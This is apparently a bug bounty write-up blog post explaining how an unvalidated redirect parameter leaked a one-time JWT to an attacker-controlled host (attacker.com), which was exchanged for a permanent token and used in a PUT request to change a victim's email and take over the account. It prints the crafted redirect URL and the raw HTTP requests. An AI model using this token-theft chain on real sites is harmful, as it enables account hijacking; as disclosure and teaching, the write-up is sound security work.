• Twitter
  • FB
  • Github
  • Youtube

Sunday, January 27, 2019

Hijacking accounts by retrieving JWT tokens via unvalidated redirects

About the writeup 

Greetings everyone hope you are doing well, its been a while since my last write-up. After some busy days I decided to give back to the community. Today, I'm going to share an interesting write-up of a vulnerability that I found in a bug bounty program. Basically the root issue is the Unvalidated redirection but I decided to take it further than just a redirection so lets start.

Getting to know the application

When targeting a company or an application the first thing is to identify the application flow and working of its mechanisms. Testing for a list of vulnerabilities without understanding the application doesn't make any sense to me so I started to test the unauthenticated areas. Before going further, I want to tell you guys that I divide the application into 2 parts. The first one includes the areas that doesn't require authentication and then the areas that requires authentication this way we can easily perform proper testing among those. So, one other important thing is the login mechanism.

Understanding the Login process

Understanding the login process is a very important when performing a penetration test. If we can understand the login flow, it is easy to crack our way into the accounts. When testing logins, see how the application reacts when correct credentials are given. In some cases the application just takes credentials and returns the cookies that is called cookie-based authentication where as in some cases the application returns a valid token such as JWT which is used to authenticate to areas. If a user is being authenticated by cookies our main goal should be targeting them and making a way to steal them but in my case a valid passwords returns a JWT token which was being used to interact with the APIs. So, in my case the authentication flow was "token-based" and in a nut-shell, If I'm having a valid token of victim then the application will recognize me as the victim. Have a look at this article to know different authentication flows.

One-time usable JWT token

Upon a valid login, the application does a 302 Redirect towards /dashboard with the GET parameters token & email. The token parameter holds a JWT token that is only usable for a single time. This token will be used to communicate with an API endpoint token which is located at /aapi/v1/authentications/token to receive a permanent JWT token .

HTTP/1.1 302 Found
Date: Tue, 18 Dec 2018 19:51:21 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Location: http://secure.site.com/dashboard?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRKt-neoSP1vI&signup_event=true&email_event=demo@site.com
Cache-Control: no-cache
Set-Cookie: ...

Reusable JWT Token

After the first token is received the application sends a GET request to /aapi/v1/authentications/token with the first JWT token in the Authorization header:

GET /aapi/v1/authentications/token HTTP/1.1
Host: secure.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRsKt-neoSP1vI
content-type: application/json
origin: https://secure.site.com
Connection: close

This request will return a Permanent JWT token that will be used throughout the entire API.

"jwt_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJndWVzdF90b2tlbiI6bnVsbCwiZXhwIjoxNTQ1MTYyNjkzfQ.XPq-YkU01KYxffnHIRs5LoY5czIPn8WxqnbXbJOANDY",
"user": {
"id": 1,
"first_name": "Demo",
"last_name": "User",
"email": "demo@site.com",
"created_at": "2016-01-27T16:17:32.832Z"

Now this is the second JWT token that is received and this is used in all the API endpoints. The previous JWT token that was received via the redirection can not be used multiple times our main focus will be stealing the second token that was received in the response of /token.

Unvalidated redirection on all domains

During my testing I explored different subdomains of the application and found that a subdomain that was a having forum. In order to use the forum the application requires an authenticated user so in order to authenticate the user the application returned me back to secure.site.com which was the domain where I was testing the authentication mechanism. This was confirmed that all authentication of the subdomains and other areas were covered by a single authentication mechanism that was located in secure.site.com. So if I simply login, the application will return me back to forum.site.com authenticated!

This was interesting and I found that there was some redirection being done. I identified how the application knew I was on the Forum subdomain, sometimes its the referrer header based on which the application redirects by in my condition I found that when I was sent to secure.site.com a new GET parameter named my_results_redirect was also sent along. So my initial location before redirecting to forum was /login?my_results_redirect=https://forum.site.com/

Now after performing the login with the "my_results_redirect" having the value https://forum.site.com, I found that the application had the following response:

HTTP/1.1 302 Found
Date: Tue, 18 Dec 2018 19:51:21 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Location: https://forum.site.com/dashboard?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRsKt-neoSP1vI&signup_event=true&email_event=demo@site.com
Cache-Control: no-cache

I found that I was able to tamper the redirection area of token by manipulating the value of my_results_redirect parameter. So if its value is set to https://shawarkhan.com then the application will redirect the user to https://shawarkhan.com. The my_results_redirect parameter was processed on all the subdomains so all domains were having unvalidated redirect but as our target was secure.site.com I kept my focus on it.

Retrieving the one-time-use JWT:

So if a crafted URL is visited by an authenticated user, I will receive the JWT on my host. A quick python -m SimpleHTTPServer 80 and after a victim visited https://secure.site.com/login?my_results_redirect=http%3A%2F%2fattacker.com%2Fdashboard , I received the first JWT token!

Retrieved the first JWT token

Now it was time to make a request to /aapi/v1/authentications/token to receive a final JWT token. I made the request and found that the request was rejected. It was a bit confusing moment as the entire process was properly followed. I followed each step and found it was not working properly and I wasn't able to obtain the second JWT token. Aha! Protections?

Some 0.01% protections?

I found that the developers had implemented some minor protections in order to prevent unauthorized use of the first token. Even I followed the same steps that the application was doing so the reason why my request was being rejected was the delay. The application directly sends the token to the API just after its generated so there is a very little delay between the generation time and the time at which its sent to the API.  The followings were some minor issues:
  • Token was one time usable
  • Token expires within a few seconds
In order to get rid of expiration issues, I automated a few steps using the python code below:

The code communicates with the /token API endpoint and retrieves the JWT token from the response which is further used to communicate with the API endpoints. The entire application was using the API to change account information and for other functions.

Permanent JWT token retrieved

Time to play

Now using the permanent JWT token it was possible to communicate with the APIs as now we had victim's JWT token. There was an API endpoint /aapi/v1/users/1 which accepts a PUT reques. It was possible to manipulate victim's email address to attacker's email address and afterwards changing password via email will result in a complete account compromise. By sending the following request with vicitm's JWT token, I was able to change victim's email to attacker@shawarkhan.com:

PUT /aapi/v1/users/1 HTTP/1.1
Host: secure.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rw:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
authorization: Bearer Victims_JWT_here
content-type: application/json
origin: https://site.com
Content-Length: 200
Connection: close


So thats how I was able to completely hijack victim's account. Make sure to share this write-up to let people know how risky redirections vulnerabilities can be. These kind of vulnerabilities are often neglected and ignored most of the times and are sometimes considered low-risk.

Know your target, understand how it works. Find a vulnerability and exploit it to its max to know its limits!  - Shawar Khan


  1. Nice work sir. How would this vulnerability be reported in a bug bounty program? If someone clicks in a link that redirects to their server can steal their token?


Want to contact?

Get in touch with me